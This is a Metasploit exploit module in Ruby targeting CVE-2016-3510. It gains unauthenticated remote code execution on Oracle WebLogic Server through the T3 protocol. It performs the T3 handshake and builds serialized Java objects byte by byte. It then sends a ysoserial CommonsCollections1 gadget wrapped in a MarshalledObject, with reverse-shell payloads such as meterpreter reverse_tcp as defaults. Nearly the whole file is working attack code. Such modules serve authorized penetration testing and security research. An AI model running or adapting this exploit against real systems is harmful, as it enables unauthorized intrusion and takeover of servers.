1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ManualRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::JavaDeserialization
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',
17
        'Description' => %q{
18
          An unauthenticated attacker with network access to the Oracle Weblogic Server T3
19
          interface can send a serialized object (weblogic.corba.utils.MarshalledObject)
20
          to the interface to execute code on vulnerable hosts.
21
        },
22
        'Author' => [
23
          'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
24
          'Jacob Baines',      # Vulnerability Discovery - Tenable Network Security
25
          'Aaron Soto',        # Reverse Engineering JSO and ysoserial blobs
26
          'Steve Embling'      # T3S support
27
        ],
28
        'License' => MSF_LICENSE,
29
        'References' => [
30
          ['CVE', '2016-3510']
31
        ],
32
        'Privileged' => false,
33
        'Platform' => %w{unix win solaris},
34
        'Targets' => [
35
          [
36
            'Unix',
37
            'Platform' => 'unix',
38
            'Arch' => ARCH_CMD,
39
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },
40
            'Payload' => {
41
              'Compat' => { 'PayloadType' => 'cmd' }
42
            }
43
          ],
44
          [
45
            'Windows',
46
            'Platform' => 'win',
47
            'Payload' => {},
48
            'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
49
          ],
50
          [
51
            'Solaris',
52
            'Platform' => 'solaris',
53
            'Arch' => ARCH_CMD,
54
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
55
            'Payload' => {
56
              'Space' => 2048,
57
              'DisableNops' => true,
58
              'Compat' =>
59
                {
60
                  'PayloadType' => 'cmd',
61
                  'RequiredCmd' => 'generic perl telnet',
62
                }
63
            }
64
          ]
65
        ],
66
        'DefaultTarget' => 0,
67
        'DefaultOptions' => { 'WfsDelay' => 12 },
68
        'DisclosureDate' => '2016-07-19',
69
        'Notes' => {
70
          'Reliability' => [REPEATABLE_SESSION],
71
          'Stability' => [CRASH_SAFE],
72
          'SideEffects' => [IOC_IN_LOGS]
73
        }
74
      )
75
    )
76

77
    register_options([
78
      Opt::RPORT(7001),
79
    ])
80

81
    register_advanced_options([
82
      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
83
    ])
84
  end
85

86
=begin   This check is currently incompatible with the Tcp mixin.  :-(
87
  def check
88
    resp = send_request_cgi(
89
      'method' => 'GET',
90
      'uri'    => '/console/login/LoginForm.jsp'
91
    )
92

93
    return CheckCode::Unknown unless resp && resp.code == 200
94

95
    unless resp.body.include?('Oracle WebLogic Server Administration Console')
96
      vprint_warning("Oracle WebLogic Server banner cannot be found")
97
      return CheckCode::Unknown
98
    end
99

100
    /WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
101
    unless version
102
      vprint_warning("Oracle WebLogic Server version cannot be found")
103
      return CheckCode::Unknown
104
    end
105

106
    version = Rex::Version.new(version)
107
    vprint_good("Detected Oracle WebLogic Server Version: #{version}")
108
    case
109
    when version.to_s.start_with?('10.3')
110
      return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')
111
    when version.to_s.start_with?('12.1.3')
112
      return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')
113
    when version.to_s.start_with?('12.2')
114
      return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')
115
    end
116

117
    return CheckCode::Safe
118
  end
119
=end
120

121
  def t3_handshake
122
    # retrieved from network traffic
123
    if !datastore['SSL'] || datastore['FORCE_T3']
124
      shake = 't3'
125
    else
126
      shake = 't3s'
127
    end
128
    shake << " 12.2.1\n"
129
    shake << "AS:255\n"
130
    shake << "HL:19\n"
131
    shake << "MS:10000000\n\n"
132

133
    sock.put(shake)
134
    sleep(1)
135
    sock.get_once
136
  end
137

138
  def build_t3_request_object
139
    # T3 request serialized data
140
    # retrieved by watching network traffic
141
    # This is a proprietary, undocumented protocol
142
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
143
    data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'
144
    data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'
145
    data << '700000000a000000030000000000000006007070707070700000000a00000003'
146
    data << '0000000000000006007006'
147

148
    data << 'fe010000'                                     # ----- separator -----
149

150
    data << 'aced0005'                                     # JSO v5 header
151
    data << '73'                                           # object header
152
    data << '72001d'                                       # className (29 bytes):
153
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
154
    data << '5461626c65456e747279'                         #   (continued)
155
    data << '2f52658157f4f9ed'                             #   serialVersionUID
156
    data << '0c00007870'                                   #   remainder of object header
157
    data << '72'                                           # object header
158
    data << '00247765626c6f6769632e636f6d6d6f6e2e696e74'   #   className (36 bytes): weblogic.common.internal.PackageInfo
159
    data << '65726e616c2e5061636b616765496e666f'           #   (continued)
160
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
161
    data << '02'                                           #   SC_SERIALIZABLE
162
    data << '0008'                                         #   fieldCount = 8
163
    data << '4900056d616a6f72'                             #     0: Int: major
164
    data << '4900056d696e6f72'                             #     1: Int: minor
165
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
166
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
167
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
168
    data << '4c0009696d706c5469746c65'                     #     5: Obj: implTitle
169
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #        java/lang/String
170
    data << '4c000a696d706c56656e646f72'                   #     6: Obj: implVendor
171
    data << '71007e0003'                                   #        (Handle) 0x007e0003
172
    data << '4c000b696d706c56657273696f6e'                 #     7: Obj: implVersion
173
    data << '71007e0003'                                   #        (Handle) 0x007e0003
174
    data << '78707702000078'                               #   block footers
175

176
    data << 'fe010000'                                     # ----- separator -----
177

178
    data << 'aced0005'                                     # JSO v5 header
179
    data << '7372'                                         # object header
180
    data << '001d7765626c6f6769632e726a766d2e436c6173'     # className (29 bytes): weblogic.rjvm.ClassTableEntry
181
    data << '735461626c65456e747279'                       #    (continued)
182
    data << '2f52658157f4f9ed'                             # serialVersionUID
183
    data << '0c'                                           # EXTERNALIZABLE | BLOCKDATA
184
    data << '00007870'                                     # remainder of object header
185
    data << '72'                                           # object header
186
    data << '00247765626c6f6769632e636f6d6d6f6e2e696'      # className (36 bytes): weblogic.common.internal.VersionInfo
187
    data << 'e7465726e616c2e56657273696f6e496e666f'        #    (continued)
188
    data << '972245516452463e'                             # serialVersionUID
189
    data << '02'                                           # SC_SERIALIZABLE
190
    data << '0003'                                         #   fieldCount = 3
191
    data << '5b0008'                                       #   array header (8 bytes)
192
    data << '7061636b61676573'                             #     ARRAY NAME = 'packages'
193
    data << '740027'                                       #     TC_STRING className1 (39 bytes)
194
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #       weblogic/common/internal/PackageInfo
195
    data << '6e7465726e616c2f5061636b616765496e666f'       #       (continued)
196
    data << '3b'                                           #       (continued)
197
    data << '4c000e'                                       #   object header (14 bytes)
198
    data << '72656c6561736556657273696f6e'                 #     releaseVersion
199
    data << '740012'                                       #     TC_STRING (18 bytes)
200
    data << '4c6a6176612f6c616e672f537472696e673b'         #       versionInfoAsBytes
201
    data << '5b0012'                                       #   array header (18 bytes)
202
    data << '76657273696f6e496e666f41734279746573'         #     ARRAY NAME = java/lang/String;
203
    data << '740002'                                       #     TC_STRING (2 bytes)
204
    data << '5b42'                                         #       0x5b42 = [B
205
    data << '78'                                           # block footer
206

207
    data << '720024'                                       # class (36 bytes)
208
    data << '7765626c6f6769632e636f6d6d6f6e2e696e'         #   weblogic.common.internal.PackageInfo
209
    data << '7465726e616c2e5061636b616765496e666f'         #   (continued)
210
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
211

212
    data << '02'                                           #   SC_SERIALIZABLE
213
    data << '0008'                                         #   fieldCount = 8
214
    data << '4900056d616a6f72'                             #   0: Int: major
215
    data << '4900056d696e6f72'                             #   1: Int: minor
216
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
217
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
218
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
219
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
220
    data << '71'                                           #      TC_REFERENCE
221
    data << '007e0004'                                     #      Handle = 0x007e0004
222
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
223
    data << '71'                                           #      TC_REFERENCE
224
    data << '007e0004'                                     #      Handle = 0x007e0004
225
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
226
    data << '71'                                           #      TC_REFERENCE
227
    data << '007e0004'                                     #      Handle = 0x007e0004
228
    data << '78'                                           # class footer
229
    data << '70'                                           # TC_NULL
230
    data << '77020000'                                     # BLOCKDATA (2 bytes): 0x0000
231
    data << '78'                                           # block footer
232

233
    data << 'fe010000'                                     # ----- separator -----
234

235
    data << 'aced0005'                                     # JSO v5 header
236
    data << '73'                                           # object header
237
    data << '72001d'                                       # className (29 bytes):
238
    data << '7765626c6f6769632e726a766d2e436c617373'       #   weblogic.rjvm.ClassTableEntry
239
    data << '5461626c65456e747279'                         #   (continued)
240
    data << '2f52658157f4f9ed'                             #   serialVersionUID
241
    data << '0c00007870'                                   #   remainder of object header
242
    data << '720021'                                       # className (33 bytes)
243
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   weblogic.common.internal.PeerInfo
244
    data << '65726e616c2e50656572496e666f'                 #   (continued)
245
    data << '585474f39bc908f1'                             #   serialVersionUID
246
    data << '02'                                           #   SC_SERIALIZABLE
247
    data << '0006'                                         #   fieldCount = 6
248
    data << '4900056d616a6f72'                             #     0: Int: major
249
    data << '4900056d696e6f72'                             #     1: Int: minor
250
    data << '49000c726f6c6c696e675061746368'               #     2: Int rollingPatch
251
    data << '49000b736572766963655061636b'                 #     3: Int: servicePack
252
    data << '5a000e74656d706f726172795061746368'           #     4: Bool: temporaryPatch
253
    data << '5b00087061636b61676573'                       #     5: Array: packages
254
    data << '740027'                                       #        TC_STRING (39 bytes)
255
    data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69'       #        Lweblogic/common/internal/PackageInfo;
256
    data << '6e7465726e616c2f5061636b616765496e666f'       #        (continued)
257
    data << '3b'                                           #        (continued)
258
    data << '78'                                           # block footer
259
    data << '720024'                                       # class (36 bytes)
260
    data << '7765626c6f6769632e636f6d6d6f6e2e696e74'       #   Lweblogic/common/internal/PackageInfo;
261
    data << '65726e616c2e56657273696f6e496e666f'           #   (continued)
262
    data << '972245516452463e'                             #   serialVersionUID
263
    data << '02'                                           #   SC_SERIALIZABLE
264
    data << '0003'                                         #   fieldCount = 3
265
    data << '5b0008'                                       #   0: Array
266
    data << '7061636b6167657371'                           #      packages
267
    data << '007e0003'                                     #      Handle = 0x00730003
268
    data << '4c000e72656c6561736556657273696f6e'           #   1: Obj: releaseVersion
269
    data << '7400124c6a6176612f6c616e672f537472696e673b'   #      Ljava/lang/String;
270
    data << '5b001276657273696f6e496e666f41734279746573'   #   2: Array: versionInfoAsBytes
271
    data << '740002'                                       #      TC_STRING (2 bytes)
272
    data << '5b42'                                         #      VALUE = 0x5b42 = [B
273
    data << '78'                                           # block footer
274
    data << '720024'                                       # class: (36 bytes)
275
    data << '7765626c6f6769632e636f6d6d6f6e2e696e746572'   #   Name = weblogic.common.internal.PackageInfo
276
    data << '6e616c2e5061636b616765496e666f'               #   (continued)
277
    data << 'e6f723e7b8ae1ec9'                             #   serialVersionUID
278
    data << '02'                                           #   SC_SERIALIZABLE
279
    data << '0008'                                         #   fieldCount = 8
280
    data << '4900056d616a6f72'                             #   0: Int: major
281
    data << '4900056d696e6f72'                             #   1: Int: minor
282
    data << '49000c726f6c6c696e675061746368'               #   2: Int rollingPatch
283
    data << '49000b736572766963655061636b'                 #   3: Int: servicePack
284
    data << '5a000e74656d706f726172795061746368'           #   4: Bool: temporaryPatch
285
    data << '4c0009696d706c5469746c65'                     #   5: Obj: implTitle
286
    data << '71'                                           #      TC_REFERENCE
287
    data << '007e0005'                                     #      Handle = 0x007e0005
288
    data << '4c000a696d706c56656e646f72'                   #   6: Obj: implVendor
289
    data << '71'                                           #      TC_REFERENCE
290
    data << '007e0005'                                     #      Handle = 0x007e0005
291
    data << '4c000b696d706c56657273696f6e'                 #   7: Obj: implVersion
292
    data << '71'                                           #      TC_REFERENCE
293
    data << '007e0005'                                     #      Handle = 0x007e0005
294
    data << '78'                                           # class footer
295
    data << '707702000078'                                 # block footers
296

297
    data << 'fe00ff'                                       # this cruft again.  some kind of footer
298

299
    data << 'fe010000'                                     # ----- separator -----
300

301
    # weblogic.rjvm.JVMID object
302
    data << 'aced0005'                                     # JSO v5 header
303
    data << '73'                                           # object header
304
    data << '720013'                                       #   class (19 bytes)
305
    data << '7765626c6f6769632e726a766d2e4a564d4944'       #   name = 'weblogic.rjvm.JVMID'
306
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
307
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
308
    data << '0000'                                         #   fieldCount = 0   (!!!)
309
    data << '78'                                           # block footer
310
    data << '70'                                           # NULL
311
    data << '7750'                                         # block header (80 bytes)
312
    data << '21'                                           #   !
313
    data << '000000000000000000'                           #   9 NULL BYTES
314
    data << '0d'                                           #   \n
315
    data << '3139322e3136382e312e323237' #   192.168.1.227
316
    data << '00'                                           #   \0
317
    data << '12'                                           #      #TODO: UNKNOWN
318
    data << '57494e2d4147444d56515542315436'               #   WIN-AGDMVQUB1T6
319
    data << '2e'                                           #      #TODO: UNKNOWN
320
    data << '656883348cd6000000070000'                     #      #TODO: UNKNOWN
321
    data << rport.to_s(16).rjust(4, '0')                   #   callback port
322
    data << 'ffffffffffffffffffffffffffffffffffffff'       #      #TODO: UNKNOWN
323
    data << 'ffffffffff'                                   #      #TODO: UNKNOWN
324
    data << '78'                                           # block footer
325

326
    data << 'fe010000'                                     # ----- separator -----
327

328
    # weblogic.rjvm.JVMID object
329
    data << 'aced0005'                                     # JSO v5 header
330
    data << '73'                                           # object header
331
    data << '72'                                           #   class
332
    data << '00137765626c6f6769632e726a766d2e4a564d4944'   #   Name: weblogic.rjvm.JVMID
333
    data << 'dc49c23ede121e2a'                             #   serialVersionUID
334
    data << '0c'                                           #   EXTERNALIZABLE | BLOCKDATA
335
    data << '0000'                                         #   fieldCount = 0
336
    data << '78'                                           # end block
337
    data << '70'                                           # TC_NULL
338
    data << '77'                                           # block header
339
    data << '20'                                           #   length = 32 bytes
340
    data << '0114dc42bd071a772700'                         #      #TODO: UNKNOWN
341
    data << '0d'                                           #      \n
342
    data << '3234322e3231342e312e323534'                   #      242.214.1.254
343
    data << '61863d1d'                                     #      #TODO: UNKNOWN
344
    data << '00000000'                                     #      NULL BYTES
345
    data << '78'                                           # block footer
346

347
    sock.put([data].pack('H*'))
348
    sleep(1)
349
    sock.get_once
350
  end
351

352
  def send_payload_objdata
353
    # basic weblogic ClassTableEntry object (serialized)
354
    # TODO: WHAT DOES THIS DO?  CAN WE RANDOMIZE ANY OF IT?
355
    objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'
356
    objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'
357
    objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'
358

359
    objdata << 'fe010000'                                  # ----- separator -----
360

361
    objdata << 'aced0005'                                  # JSO v5 header
362
    objdata << '73'                                        # object header
363
    objdata << '72'                                        #   class
364
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
365
    objdata << '73735461626c65456e747279'                  #   (cont)
366
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
367
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
368
    objdata << '0000'                                      #   fieldCount = 0
369
    objdata << '7870'                                      #   remaining object header
370
    objdata << '72'                                        # class header
371
    objdata << '00025b42'                                  #   Name: 0x5b42
372
    objdata << 'acf317f8060854e0'                          #   serialVersionUID
373
    objdata << '02'                                        #   SERIALIZABLE
374
    objdata << '0000'                                      #   fieldCount = 0
375
    objdata << '7870'                                      #   class footer
376
    objdata << '77'                                        # block header
377
    objdata << '020000'                                    #   contents = 0x0000
378
    objdata << '78'                                        #   block footer
379

380
    objdata << 'fe010000'                                  # ----- separator -----
381

382
    objdata << 'aced0005'                                  # JSO v5 header
383
    objdata << '73'                                        # object header
384
    objdata << '72'                                        #   class
385
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
386
    objdata << '73735461626c65456e747279'                  #   (cont)
387
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
388
    objdata << '0c'                                        #   EXTERNALIZABLE | BLOCKDATA
389
    objdata << '0000'                                      #   fieldCount = 0
390
    objdata << '7870'                                      #   remaining object header
391
    objdata << '72'                                        # class header
392

393
    objdata << '00135b4c6a6176612e6c616e672e4f626a'        #   Name: [Ljava.lang.Object;
394
    objdata << '6563743b'                                  #   (cont)
395
    objdata << '90ce589f1073296c'                          #   serialVersionUID
396
    objdata << '02'                                        #   SERIALIZABLE
397
    objdata << '0000'                                      #   fieldCount = 0
398
    objdata << '7870'                                      #   remaining object header
399
    objdata << '77'                                        # block header
400
    objdata << '020000'                                    #   contents = 0x0000
401
    objdata << '78'                                        #   block footer
402

403
    objdata << 'fe010000'                                  # ----- separator -----
404

405
    objdata << 'aced0005'                                  # JSO v5 header
406
    objdata << '73'                                        # object header
407
    objdata << '72'                                        #   class
408

409
    objdata << '001d7765626c6f6769632e726a766d2e436c61'    #   Name: weblogic.rjvm.ClassTableEntry
410
    objdata << '73735461626c65456e747279'                  #   (cont)
411
    objdata << '2f52658157f4f9ed'                          #   serialVersionUID
412
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
413
    objdata << '0000'                                      #   fieldCount = 0
414
    objdata << '7870'                                      #   block footer
415
    objdata << '72'                                        # class header
416
    objdata << '00106a6176612e7574696c2e566563746f72'      #   Name: java.util.Vector
417
    objdata << 'd9977d5b803baf01'                          #   serialVersionUID
418
    objdata << '03'                                        #   WRITE_METHOD | SERIALIZABLE
419
    objdata << '0003'                                      #   fieldCount = 3
420
    objdata << '4900116361706163697479496e6372656d656e74'  #   0: Int: capacityIncrement
421
    objdata << '49000c656c656d656e74436f756e74'            #   1: Int: elementCount
422
    objdata << '5b000b656c656d656e7444617461'              #   2: Array: elementData
423
    objdata << '7400135b4c6a6176612f6c616e672f4f626a6563'  #   3: String: [Ljava/lang/Object;
424
    objdata << '743b'                                      #      (cont)
425
    objdata << '7870'                                      #   remaining object header
426
    objdata << '77'                                        # block header
427
    objdata << '020000'                                    #   contents = 0x0000
428
    objdata << '78'                                        #   block footer
429

430
    objdata << 'fe010000'                                  # ----- separator -----
431

432
    # payload generated from ysoserial and wrapped in a MarshalledObject:
433
    objdata << 'aced0005'                                  # JSO v5 header
434
    objdata << '73'                                        # object header
435
    objdata << '72'                                        #   class header
436

437
    objdata << '00257765626c6f6769632e636f7262612e757469'  #     Name = weblogic.corba.utils.MarshalledObject
438
    objdata << '6c732e4d61727368616c6c65644f626a656374'    #       (cont)
439
    objdata << '592161d5f3d1dbb6'                          #     serialVersionUID
440
    objdata << '02'                                        #     SERIALIZABLE
441
    objdata << '0002'                                      #     fieldCount = 2
442
    objdata << '49000468617368'                            #     0: Int: hash
443
    objdata << '5b00086f626a4279746573'                    #     1: Array: objBytes
444
    objdata << '7400025b42'                                #        Value: 0x5b42
445
    objdata << '7870'                                      #     class footer
446
    #   class Data:
447
    objdata << '21210fdc'                                  #     hash = 0x21210fdc (555814876d)
448
    objdata << '757200025b42'                              #     objBytes = [ 0x5b42 ]
449
    objdata << 'acf317f8060854e0'                          #     serialVersionUID
450
    objdata << '02'                                        #     SERIALIZABLE
451
    objdata << '0000'                                      #     fieldCount = 0
452
    objdata << '7870'                                      #   class footer
453
    objdata << '0000'                                      #   arraySize (first two bytes)
454

455
    # java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe
456
    java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)
457
    objdata << (java_payload.length).to_s(16).rjust(4, '0') # arraySize (lower two bytes)
458
    objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
459

460
    # basic weblogic ImmutableServiceContext object (serialized)
461
    objdata << 'fe010000'                                  # ----- separator -----
462

463
    objdata << 'aced0005'                                  # JSO v5 header
464
    objdata << '73'                                        # object header
465
    objdata << '72'                                        #   class
466
    objdata << '00257765626c6f6769632e726a766d2e496d6d75'  #   Name = weblogic.rjvm.ImmutableServiceContext
467
    objdata << '7461626c6553657276696365436f6e74657874'    #     (cont)
468
    objdata << 'ddcba8706386f0ba'                          #   serialVersionUID
469
    objdata << '0c'                                        #   SERIALIZABLE | BLOCKDATA
470
    objdata << '0000'                                      #   fieldCount = 0
471
    objdata << '78'                                        #   remainder of object header
472
    objdata << '72'                                        # class header
473
    objdata << '00297765626c6f6769632e726d692e70726f7669'  #   Name: weblogic.rmi.provider.BasicServiceContext
474
    objdata << '6465722e426173696353657276696365436f6e74'  #     (cont)
475
    objdata << '657874'                                    #     (cont)
476
    objdata << 'e4632236c5d4a71e'                          #    serialVersionUID
477
    objdata << '0c'                                        #    SERIALIZABLE | BLOCKDATA
478
    objdata << '0000'                                      #    fieldCount = 0
479
    objdata << '78'                                        #    block footer
480
    objdata << '70'                                        #    TC_NULL
481
    objdata << '77'                                        #  block header
482
    objdata << '020600'                                    #    Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW  #TODO: WHY?
483
    objdata << '73'                                        #    object header
484
    objdata << '72'                                        #      class description
485
    objdata << '00267765626c6f6769632e726d692e696e746572'  #        Name = weblogic.rmi.internal.MethodDescriptor
486
    objdata << '6e616c2e4d6574686f6444657363726970746f72'  #          (cont)
487
    objdata << '12485a828af7f67b'                          #        serialVersionUID
488
    objdata << '0c'                                        #    EXTERNALIZABLE | BLOCKDATA
489
    objdata << '0000'                                      #    fieldCount = 0
490
    objdata << '78'                                        #    block footer
491
    objdata << '70'                                        #    TC_NULL
492
    objdata << '77'                                        #  block header
493
    objdata << '34002e61757468656e746963617465284c776562'  #   HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)
494
    objdata << '6c6f6769632e73656375726974792e61636c2e55'  #     (cont)
495
    objdata << '736572496e666f3b290000001b'                #     (cont)
496
    objdata << '78'                                        #   block footer
497
    objdata << '78'                                        # object footer
498

499
    objdata << 'fe00ff'                                    # this cruft again.  some kind of footer
500

501
    # sets the length of the stream
502
    data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')
503
    data << objdata
504

505
    sock.put([data].pack('H*'))
506
    sleep(1)
507
    sock.get_once
508
  end
509

510
  def exploit
511
    connect
512

513
    print_status('Sending handshake...')
514
    t3_handshake
515

516
    print_status('Sending T3 request object...')
517
    build_t3_request_object
518

519
    print_status('Sending client object payload...')
520
    send_payload_objdata
521

522
    handler
523
    disconnect
524
  end
525
end
526

527